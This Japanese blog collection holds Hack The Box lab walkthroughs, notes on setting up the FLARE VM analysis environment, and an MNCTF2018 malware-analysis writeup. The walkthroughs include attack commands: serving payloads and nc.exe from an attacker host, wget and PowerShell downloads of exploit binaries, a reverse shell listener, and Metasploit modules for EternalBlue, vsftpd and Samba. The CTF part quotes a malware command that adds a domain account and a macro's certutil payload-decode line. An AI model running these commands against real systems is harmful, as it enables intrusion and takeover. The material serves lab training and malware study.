【Hack The Box】Beep Walkthrough
はじめに
ポートスキャン
# nmap -A 10.10.10.7
色々ポートが開いている。
ブラウザで80番ポートへアクセス
ブラウザで80番ポートへアクセスするが、443ポートにリダイレクトされる。
elastixというものが動いているようだ。
ディレクトリスキャン
gobusterでディレクトリスキャンを実行。
※kオプションは、SSL証明書を検証しないオプション
# gobuster dir -u http://10.10.10.7 -w /usr/share/dirb/wordlists/common.txt -k
色々アクセスしてみたが、ヒントになるようなものはなかった。
エクスプロイトコード調査
elastixのバージョンなどは把握できていないが、エクスプロイトコードを探す。
# searchsploit elastix
上から4つ目のLocal File Inclusionが気になる。以下のコマンドでエクスプロイトコードをダウンロード。
# searchsploit -m 37637
中身を見てみると、真ん中下あたりに「#LFI Exploit」の後にパスが記載されている。
エクスプロイトコード実行
ブラウザにコード内に記載されていたパスを入力してみると、怪しげなページにアクセスできた。
見にくかったため、ページソースを参照する。
ユーザ名やパスワードと思われるものを発見。これを使ってsshアクセスしてみる。
(参考)sshのエラー対応
10.10.10.7のサーバに対してsshアクセスしようとしたら、以下のようなエラーが表示された。 サーバのOpenSSHが古いため(ver4.3)、クライアント側でいくつかのレガシーな暗号アルゴリズム(Their offer:以降)がサポート外になっているようだ。 サーバ側のOpenSSHのバージョンを上げれば良さそうだが、それはできないため、/etc/ssh/ssh_configに以下を追記したらエラーは表示されなくなった。
KexAlgorithms +diffie-hellman-group-exchange-sha1
sshアクセス
上述のエラー対応後、発見したユーザ名、パスワードでアクセス試行。結局、rootでアクセスできた。
あとはuser.txtとroot.txtを取得して終了。
user.txt:aeff3def0c765c2677b94715cffa73ac
root.txt:d88e006123842106982acce0aaf453f0
【Hack The Box】Bashed Walkthrough
はじめに
ポートスキャン
# nmap -A 10.10.10.68
80(http)ポートが開いている。
ブラウザで80番ポートへアクセス
ブラウザで80番ポートへアクセス。ソースコードなどを確認したが、とくにヒントは得られない。
ディレクトリスキャン
ディレクトリスキャンを実行。dirbが遅いので、gobusterを使った。
# gobuster dir -u http://10.10.10.68 -w /usr/share/dirb/wordlists/common.txt
/dev/にアクセスしてみると、ディレクトリリスティングが有効であり、配下にあるphpbash.phpにアクセスしてみると任意のコマンドが実行できるWebShellであった。
あとは、以下の流れでuser.txtを取得。
cd /home ls cd arrexel cat user.txt
scriptmanagerユーザの調査
上記画像より、/home配下にはarrexelとscriptsmanagerユーザのディレクトリの存在が確認できる。
ほとんどのディレクトリはrootが所有者だが、scriptsディレクトリだけはscriptmanagerが所有者であった。ここに何かヒントがあると予想した。
sudoコマンドが実行できるかを確認。
現在のユーザ(www-data)は、パスワードなしでscriptmanagerの権限で全てのコマンドが実行できることが分かった。
sudo -l
scriptmanagerの権限で/scripts配下を確認すると、test.pyとtest.txtの存在が確認できた。test.pyの所有者はscriptmanagerで、test.txtの所有者はrootであった。
数分後に同じコマンドを実行すると、test.txtのタイムスタンプが変わることも確認。
sudo -u scriptmanager ls -l /scripts
test.pyの置き換え
/scripts配下にあるtest.pyの中身を確認する。
sudo -u scriptmanager cat /scripts/test.py
test.txtに「testing 123!」という文字列を書き込むスクリプトだった。test.txtのタイムスタンプが変わっていたのは、test.pyがcronなどで定期的に実行されうよう設定されていたためだと思われる。
また、test.txtの所有者がrootであることから、test.pyはroot権限で実行されていると考えられる。
そこで、test.pyを、root.txtを表示(出力)するスクリプトに置き換える。
攻撃者側環境で、pythonスクリプトを用意し、Webサーバを起動した。
※pythonでOSコマンドを実行するために、os.system()を使用。
import os os.system("cat /root/root.txt > /tmp/root.txt")
python -m SimpleHTTPServer 80
WebShell上から、攻撃者端末上に作成したtest.pyをダウンロードし、/scriptsフォルダに上書きする(scriptmanagerの権限で)。
cd /tmp wget http://10.10.14.21/test.py sudo -u scriptmanager cp test.py /scripts
test.pyが上書きできたことを確認し、出力先のroot.txtを確認して終了。
sudo -u scriptmanager cat /scripts/test.py cat /tmp/root.txt
user.txt:2c281f318555dbc1b856957c7147bfc1
root.txt:cc4f0afe3a1026d402ba10329674a8e2
【Hack The Box】Optimum Walkthrough
はじめに
ポートスキャン
# nmap -A 10.10.10.8
80(http)ポートが開いている。
ブラウザで80番ポートへアクセス
ブラウザで80番ポートへアクセス。Searchの入力フォームに記号や文字列を入力したが、 特におかしな挙動はない。
HFS 2.3の脆弱性調査
nmapの結果や、ブラウザでアクセスした際にも表示されていたHttpFileServer(HFS)2.3の脆弱性を調査する。
# searchsploit hfs 2.3
pythonスクリプトが用意されているRemote Command Execution(2)(39161.py)を使ってみる。
39161.pyの利用
39161.pyをカレントディレクトリにコピーし、使用方法を把握するために中身を確認する。
# cp /usr/share/exploitdb/exploits/windows/remote/39161.py . # cat 39161.py
とのこと。また、コード内にはリスナーとして待ち受けるIP、ポートを指定する箇所があった。 つまり、このエクスプロイトコードを実行するための手順は以下。
- nc.exeを配置したWebサーバを起動
- リバースシェルを待ち受けるリスナーのIP、ポートを指定
- 2で指定したポートで待ち受け
- エクスプロイトコード実行
1. nc.exeを配置したWebサーバを起動
nc.exeの場所を探し、カレントディレクトリへコピーする。
# locate nc.exe # cp /usr/share/windows-resources/binaries/nc.exe .
このディレクトリ上でWebサーバを起動。
# python -m SimpleHTTPServer 80
2. リバースシェルを待ち受けるリスナーのIP、ポートを指定
待ち受けるIPを攻撃端末の10.10.14.21、ポートを8080に指定。
3. 2で指定したポートで待ち受け
# nc -lvp 8080
4. エクスプロイトコード実行
準備が整ったので、エクスプロイトコードを実行。すると、3で待ち受けた8080ポートにシェルが返ってきた(画像右下)。
# python 39161.py 10.10.10.8 80
デスクトップ上にあるuser.txt.txtを取得。
dir type user.txt.txt
権限昇格のための脆弱性調査
権限昇格のための脆弱性調査のために、Windows-Exploit-Suggester(※)を使う。
※マイクロソフトの脆弱性データベースと比較し、ターゲット端末で欠落しているパッチを検出。利用可能なエクスプロイトコードやMetasploitモジュールがあるかどうかを通知するツール
リポジトリを取得し、Windows-Exploit-Suggesterのデータベースをアップデートする。アップデートを行うとデータベースファイル(xls)が生成される。
# git clone https://github.com/AonCyberLabs/Windows-Exploit-Suggester.git # cd Windows-Exploit-Suggester/ # python windows-exploit-suggester.py --update
xlrdモジュールが必要なため、インストールする。 その前に、kali linuxにpipが入っていなかったため、まずはpipをインストール。
# curl "https://bootstrap.pypa.io/get-pip.py" -o "get-pip.py" # python get-pip.py
pipインストール後、xlrdモジュールのインストール。
# pip install xlrd --upgrade
Windows-Exploit-Suggesterはターゲット環境のsysteminfoコマンドの実行結果が必要であるため、実行結果をsysteminfo.txtとして保存する。
systeminfo
Host Name: OPTIMUM
OS Name: Microsoft Windows Server 2012 R2 Standard
OS Version: 6.3.9600 N/A Build 9600
OS Manufacturer: Microsoft Corporation
OS Configuration: Standalone Server
OS Build Type: Multiprocessor Free
Registered Owner: Windows User
Registered Organization:
Product ID: 00252-70000-00000-AA535
Original Install Date: 18/3/2017, 1:51:36
System Boot Time: 19/4/2020, 10:36:32
System Manufacturer: VMware, Inc.
System Model: VMware Virtual Platform
System Type: x64-based PC
Processor(s): 1 Processor(s) Installed.
[01]: AMD64 Family 23 Model 1 Stepping 2 AuthenticAMD ~2000 Mhz
BIOS Version: Phoenix Technologies LTD 6.00, 12/12/2018
Windows Directory: C:\Windows
System Directory: C:\Windows\system32
Boot Device: \Device\HarddiskVolume1
System Locale: el;Greek
Input Locale: en-us;English (United States)
Time Zone: (UTC+02:00) Athens, Bucharest
Total Physical Memory: 4.095 MB
Available Physical Memory: 3.463 MB
Virtual Memory: Max Size: 5.503 MB
Virtual Memory: Available: 4.912 MB
Virtual Memory: In Use: 591 MB
Page File Location(s): C:\pagefile.sys
Domain: HTB
Logon Server: \OPTIMUM otfix(s): 31 Hotfix(s) Installed.
[01]: KB2959936
[02]: KB2896496
[03]: KB2919355
[04]: KB2920189
[05]: KB2928120
[06]: KB2931358
[07]: KB2931366
[08]: KB2933826
[09]: KB2938772
[10]: KB2949621
[11]: KB2954879
[12]: KB2958262
[13]: KB2958263
[14]: KB2961072
[15]: KB2965500
[16]: KB2966407
[17]: KB2967917
[18]: KB2971203
[19]: KB2971850
[20]: KB2973351
[21]: KB2973448
[22]: KB2975061
[23]: KB2976627
[24]: KB2977629
[25]: KB2981580
[26]: KB2987107
[27]: KB2989647
[28]: KB2998527
[29]: KB3000850
[30]: KB3003057
[31]: KB3014442
Network Card(s): 1 NIC(s) Installed.
[01]: Intel(R) 82574L Gigabit Network Connection
Connection Name: Ethernet0
DHCP Enabled: No
IP address(es)
[01]: 10.10.10.8
Hyper-V Requirements: A hypervisor has been detected. Features required for Hyper-V will not be displayed.
以下のコマンドで実行すると、欠落しているパッチが表示される。
# python windows-exploit-suggester.py --database 2020-04-13-mssb.xls --systeminfo systeminfo.txt
権限昇格
簡単そうだったので、上から2番目のMS16-098のエクスプロイトコードを使うことにした。
エクスプロイトコードのあるURLにいくと、バイナリファイルが記載されたURLが記載されている。
このバイナリをダウンロードし、バイナリを配置したディレクトリ上でWebサーバを起動する。
# wget https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/41020.exe # python -m SimpleHTTPServer 80
ターゲット端末のシェル上でpowershellを実行し、攻撃者端末に配置したバイナリを持ってくる。 ダウンロードしたバイナリを実行することで権限昇格が成功する。
powershell wget http://10.10.14.21/41020.exe -outfile 41020.exe dir 41020.exe whoami
これでデスクトップ上にあるroot.txtが取得できる。
type root.txt
user.txt:d0c39409d7b994a9a1389ebf38ef5f73
root.txt:51ed1b36553c8461f4552c2e92b3eeed
【Hack The Box】Blue Walkthrough
はじめに
ポートスキャン
マシン名からしてEternalblue(MS17-010)の脆弱性があるんだろうなと思いながら、ポートスキャンを実行。
# nmap -A 10.10.10.40
135(msrpc)、139(netbios-ssn)、445(microsoft-ds)、49152~49167(netbios-ssn)が開いている。
445ポートの脆弱性調査
NSEを使って、445ポートの脆弱性を調べる。
# nmap --script vuln -p 445 10.10.10.40
予想通り、MS17-010がVULNERABLEと判定された。
MS17-010の調査
MetasploitでMS17-010の脆弱性を突くエクスプロイトコードを探してみる。
# msfconsole msf5 > search ms17-010 msf5 > use exploit/windows/smb/ms17_010_eternalblue msf5 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 10.10.10.40 msf5 exploit(windows/smb/ms17_010_eternalblue) > exploit
エクスプロイトコードの実行は成功し、ターゲット端末のシェルを獲得できた。
後はharisユーザのデスクトップ上にあるuser.txtとAdministratorユーザのデスクトップ上にあるroot.txtの中身を取得して終了。
user.txt:4c546aea7dbee75cbd71de245c8deea9
root.txt:ff548eb71e920ff6c08843ce9df4e717
【Hack The Box】Lame Walkthrough
はじめに
ポートスキャン
ポートスキャンを実行。
# nmap -A 10.10.10.3
21(ftp)、22(ssh)、139(netbios-ssn)、445(netbios-ssn)が開いている。
vsftpd 2.3.4の調査
21番ポートで検出したvsftpd 2.3.4のエクスプロイトコードを探してみる。
# searchsploit vsftpd 2.3.4
Metasploitにエクスプロイトコードがあるようだ。
# msfconsole msf5 > search vsftpd 2.3.4 msf5 > use exploit/unix/ftp/vsftpd_234_backdoor msf5 > set RHOSTS 10.10.10.3 msf5 > show options msf5 > exploit
コードは実行できたが、セッションが確立できなかったので失敗。 別のポートを調査する。
Samba smbd 3.0.20の調査
445番ポートで検出したSamba smbd 3.0.20のエクスプロイトコードを探してみる
# searchsploit samba 3.0.20
これもMetasploitにエクスプロイトコードがあるようだ。
# msfconsole msf5 > search samba 3.0.20 msf5 > use exploit/multi/samba/usermap_script msf5 > set RHOSTS 10.10.10.3 msf5 > set RPORT 445 msf5 > exploit
※payloadを指定しないとMetasploitが判断して勝手に設定してくれる。
エクスプロイトコード実行後、rootとして任意のコマンドが実行できるようになった。 後は以下の流れでuser.txtとroot.txtの中身が取得できた。
cd /home ls cd makis ls cat user.txt cd /root ls cat root.txt
user.txt:69454a937d94f5f0225ea00acd2e84c5
root.txt:92caac3be140ef409e45721348a4e9df
FLARE VMをWindows10に構築してみた
今更ながら、マルウェア解析環境でお馴染みのFLARE VMをWindows10環境に構築したため、その流れをメモ。
FLARE VMとは
FireEye社のFLARE(FireEye Labs Advanced Reverse Engineering)チームが提供している、Windowsベースの解析環境イメージ。解析に用いる様々なツールがインストールされており、Windowsのパッケージ管理ツールであるChocolateyを用いて、いつでも新しいパッケージを手動で追加することもできる。
構築した環境
手順
以下を参考に進めた。
GitHub - fireeye/flare-vm
1. Windowsアップデートを行い、最新の状態にする
2.(失敗時に振り出しに戻れるように)スナップショットをとっておく
3. 上記リンクからinstall.ps1
をダウンロード
4. PowerShellのスクリプト実行ポリシーを変更する
PowerShellのスクリプト実行ポリシーはデフォルトだとRestricted
となっている。管理者権限で起動したPowerShell上で以下を実行し、ポリシーをUnrestricted
に変更する。
PS C:\Windows\system32> Set-ExecutionPolicy Unrestricted 実行ポリシーの変更 実行ポリシーは、信頼されていないスクリプトからの保護に役立ちます。実行ポリシーを変更すると、about_Execution_Policies のヘルプ トピック (https://go.microsoft.com/fwlink/?LinkID=135170) で説明されているセキュリティ上の危険にさらされる可能性があります。実行ポリシーを変更しますか? [Y] はい(Y) [A] すべて続行(A) [N] いいえ(N) [L] すべて無視(L) [S] 中断(S) [?] ヘルプ (既定値は "N"): Y PS C:\Windows\system32>
ポリシーが変更できたかは、以下で確認できる。
PS C:\Windows\system32> Get-ExecutionPolicy Unrestricted
5. "4."でダウンロードしたinstall.ps1
を実行する
PS C:\Users\win10user\Desktop> .\install.ps1 -password [パスワード]
※インストール中にホストの再起動を自動化するために管理者のパスワード入力を求められる。そこを省略するために引数にパスワードを渡した。
あとは永遠に待てば勝手に進む。22時に開始ししたが2時の段階では終わってなかった。
翌朝確認したらPowerShell上に以下の文字列が表示されていたたので、ENTERを押して終了。
Type ENTER to exit:
再起動したら、FLARE VMのデスクトップに変わった。
追加パッケージのインストール
デスクトップにあるFLAREフォルダを見てみると、procmonやprocexplorerなどのsysinternalsツールたちがちゃんとインストールできていなかった。
結局以下のコマンドで自力で入れなおした。(管理者権限のPowerShellで)
PS C:\Windows\system32> choco install sysinternals
他にも、以下のツールを入れた。
PS C:\Windows\system32> choco install exiftool, trid, grep, stirling-jp
またカスタマイズしたら追記予定。
MNCTF2018 writeup
今更ながらMNCTF2018をやったのでそのWriteup。
練習問題
「MNCTF2018」が答えです。下の欄に入力して解答してください。
問題文にある文字列を入れるだけ。
MNCTF2018
新人奮闘Ⅰ
7月から株式会社マクニキのCSIRTに配属された新人のとだ君は、さっそく仕事が与えられました。サーバ管理者のこばやし君がADの最適化ツールと思い込み、誤ってマルウェアを実行してしまいました。ファイル名は「AD_OptimizationTool.exe」で、ADサーバ上、ドメイン管理者権限で実行してしまいました。とだ君はこばやし君からマルウェアを受け取り、さっそくマルウェアの解析に挑みます。 まずはマルウェアののSHA-256のハッシュ値を求めてください。
sha256sum
コマンドで、SHA-256ハッシュ値を求める。
root@kali:/tmp/mnctf2018# sha256sum AD_OptimizationTool.exe f24f5629be2e0f821adb36fe4d47407937f5a318bf96ae3655b628f833040f29 AD_OptimizationTool.exe
f24f5629be2e0f821adb36fe4d47407937f5a318bf96ae3655b628f833040f29
新人奮闘Ⅱ
とだ君は「AD_OptimizationTool.exe」の解析レポートを書こうとしています。ここにアクセスして、手伝ってあげてください。※すべての項目を入力すると正解が得られます。
空欄部分を穴埋めすればフラグが出てくるらしい。
ハッシュ値はそれぞれmd5sum
sha1sum
sha256sum
で出した。
root@kali:/tmp/mnctf2018# md5sum AD_OptimizationTool.exe 541427a9dbe43b10c05b856cdcdc5ba6 AD_OptimizationTool.exe root@kali:/tmp/mnctf2018# sha1sum AD_OptimizationTool.exe e0fa838e0f191f97c5dac7a831af60d750432017 AD_OptimizationTool.exe root@kali:/tmp/mnctf2018# sha256sum AD_OptimizationTool.exe f24f5629be2e0f821adb36fe4d47407937f5a318bf96ae3655b628f833040f29 AD_OptimizationTool.exe
MD5:541427a9dbe43b10c05b856cdcdc5ba6
SHA1:e0fa838e0f191f97c5dac7a831af60d750432017
SHA256:f24f5629be2e0f821adb36fe4d47407937f5a318bf96ae3655b628f833040f29
ファイルサイズはls
に-l
オプションをつけて出した。
root@kali:/tmp/mnctf2018# ls -l AD_OptimizationTool.exe -rw-r--r-- 1 root root 2048 7月 11 2018 AD_OptimizationTool.exe
ファイルサイズ(バイト):2048
コンパイル日時(UTC)はPEview
の以下を確認。
IMAGE_NT_HEADERS→IMAGE_FILE_HEADER→Time Data Stamp
コンパイル日時(UTC):2018/07/11 10:46:08
Import関数はPEview
の以下を確認。
SECTION .import→IMPORT Address Table
ExitProcess kernel32.dll
Sleep kernel32.dll
ShellExecuteA shell32.dll
MessageBoxA user32.dll
全部穴埋めするとフラグが表示された。
d56d9a6036bd18ee98878eb74ae8d663
新人奮闘Ⅲ
とだ君はマルウェア解析を継続し、マルウェアを実行するとコマンドが実行されることに気づきました。コマンドは何でしょうか?コマンド全体を入力してください。
strings
コマンドを実行。
root@kali:/tmp/mnctf2018# strings AD_OptimizationTool.exe !This program cannot be run in DOS mode. .text .data @.import hO @ hK @ h| @ AD Optimizer Optimization successfuly finished.\nThe speed increased 176%. /c net user /add /domain vpnadmin P@ssw0rD1! open kernel32.dll shell32.dll user32.dll ExitProcess Sleep ShellExecuteA MessageBoxA root@kali:/tmp/mnctf2018#
net user /add /domain vpnadmin P@ssw0rD1!
新人奮闘Ⅳ
とだ君はコマンドを調査した結果、ADと連携しているVPNシステムに不正ログインされている可能性を考えて、VPNのログを調査するとにしました。マルウェア解析で分かった情報と照らし合わせて、不正ログインされている時刻を答えてください(YYYY/MM/DD hh:mm形式)
新人奮闘Ⅲの実行コマンドより、vpnadminという名前でユーザ登録されているので、このユーザでログインしているのが怪しい。grep
する。
root@kali:/tmp/mnctf2018# cat vpn20180712.log.txt | grep vpnadmin 2018/07/13 15:01,vpnadmin,27.117.128.1
2018/07/13 15:01
新人奮闘Ⅴ
とだ君は不正ログインのIPアドレスを元に攻撃元の国を調べました。どの国でしょうか?日本語で解答してください。
新人奮闘IVより、アクセス元のIPアドレスは27.117.128.1
GeoIP2 Database Demo | MaxMind
というサービスを使った。
韓国
大量不正
株式会社マクニキのCSIRT担当てしがわら君は、過去に自社内に見つけたマルウェアの断片を調査してみることにした。このマルウェア群から、類似性の高い組み合わせを見つけて、そのファイル名をハイフンでつなげて答えてください。
例)sample1.bin-sample2.binzipのパスワードは「infected」です。
類似性ということで、ssdeep
を使用。
PS C:\MNCTF2018> .\ssdeep.exe -bcdr C:\Users\win10user\Desktop\malwares\malware "sample68.bin","sample1.bin",99
sample1.bin-sample68.bin
種類特定
株式会社マクニキのCSIRT担当のてしがわら君は、海外拠点のエンジニアからマルウェア感染の連絡を受けました。先方からは、マルウェアの種類が特定できておらず、右往左往しています。サンドボックス上でマルウェアを動作させた際のマルウェアの通信はこちらです。パケットから、マルウェアの名前を特定してください。英字で解答してください。
通信先が"/imageas/ランダムな文字列/ランダムな文字列・・・"のように特徴的だったため、
「マルウェア /images/」とかで調べたら「URSNIF(別名:GOZI)」とでた。
URSNIF
標的攻撃Ⅰ
ある日、株式会社マクニキにフィッシングメールのが届きました。メールを転送されたてしがわら君はその添付ファイル「製品価格一覧20180711.xls」を解析した。しかし、残念ながら、サンドボックス上では解析はできなかったため、手動で解析するととにしました。 特定のユーザ名の環境でないと動作しないようです。ファイルを調査して動作条件であるユーザ名を特定してください。(複数ある場合は一つのみ回答してください)。
パスワードは「infected」です。
マクロが含まれているようだ。excelで開発タブを表示し、Visual Basicからマクロを見た。
C6-C11の文字列と比較して、一致した場合、動くようなマクロ。
C列は非表示になっていたため表示させて、文字に色を付けるといくつかのユーザ名があった。
Yasu Kobayashi
標的攻撃Ⅱ
「製品価格一覧20180711.xls」の攻撃が発動すると、HTTPSの通信が発生します。そのURLを回答してください。
HTTPSの通信先を求める。マクロに埋め込まれていたのでそれが答え。
https://gist.githubusercontent.com/Sh1n0g1/3a240ce15fe7f26263ddf1877e5acc38/raw/d1d74601e5f4c94c958130accb16add9bb16e33d/cert
標的攻撃Ⅲ
「製品価格一覧20180711.xls」の動作を終えると、別のファイルが生成され、そこから2次検体が生成されます。2次検体のSHA256ハッシュ値を調べてください。
マクロを見ると、以下のようなことをやっている。
・取得したコンテンツを「cert.pem」として保存。
・certutil
コマンドでデコードし、「cert.exe」として保存。(certutil -decode [入力ファイル] [出力ファイル])
Shell "certutil -decode """ & startupFolder & "\cert.pem"" """ & startupFolder & "\cert.exe"""
同様の動きを、手動で行った。
PS C:\MNCTF2018> certutil -decode .\cert.pem cert.exe 入力長 = 98458 出力長 = 73802 CertUtil: -decode コマンドは正常に完了しました。
sha256を出す。
root@kali:/etc/apt# sha256sum cert.exe c4f069d079330cd46e51f9469c27015ed34c6371481df83a323bc098f3b53382 cert.exe
c4f069d079330cd46e51f9469c27015ed34c6371481df83a323bc098f3b53382
標的攻撃Ⅳ
2次検体を実行すると、HTTPSの通信が発生します。最初の通信のURLを調べてください。
ProcessMonitor
を起動しながら実行すると、コマンドプロンプトが一瞬立ち上がり、消える。
ProcessMonitor
のtreeを見てみると、以下のようなコマンドが実行されていた。
https://shinobotps1.com/download_get.php
穴埋防御
株式会社マクニキのCSIRT担当のてしがわら君は不審なファイルを社内のサーバから見つけました。セキュリティベンダーに解析をお依頼したところ、最終的なマルウェアを検知するためのメモリをスキャンするためのYaraルールが提供されました。しかし、Yaraルールは一部欠けており、そのままでは使えません。マルウェアを解析し、Yaraルールを完成させてください。★に入る文字列を回答してください。
不審なファイルはbase64でエンコードされていたようなので、デコード。
PS C:\MNCTF2018> certutil -f -decode .\Mutant.txt .\decode_Mutant.txt 入力長 = 352616 出力長 = 264462 CertUtil: -decode コマンドは正常に完了しました。
Powershellのスクリプトらしきものが出力された。
このスクリプトの株にはまたbase64でエンコードされていると思われる文字列がある。
さらに、XOR(キーは0x17)で演算されているようだ。
CyberChefを使うと、先頭に、実行ファイルのマジックナンバーであるMZが出てきた。
これを保存し(今回はoutput.exeとした)、ProcessExplorer
を起動した状態で実行する。
View→Show Lower Paneとするとmutantに文字列が見つかった。
1q2w3e4r0o9i8u7y6t
盗難情報
株式会社マクニキのCSIRT担当のてしがわら君は攻撃者が残したファイルを入手しました。調査したセキュリティベンダー曰く、攻撃者はC&Cサーバに情報をアップロードする際にファイルを暗号化するとのことで、以下のアルゴリズムで暗号化されたものらしい。
XOR(シングルバイトキー)→ Base64 → ROT13
同攻撃者はマクニキの新製品情報を狙ったとみられています。ファイルを復号して、新製品の製品型番を答えてください。
XOR→base64→rot13というアルゴリズムでエンコードされているとのこと。
CyberChefで逆からデコードしていく。
XORbruteforceをしたら、keyが15で"PNG"や"IHDR"の文字列が。
よって、keyを15にした状態でファイルを保存すると画像が取り出せる。
NEJI_190_3GM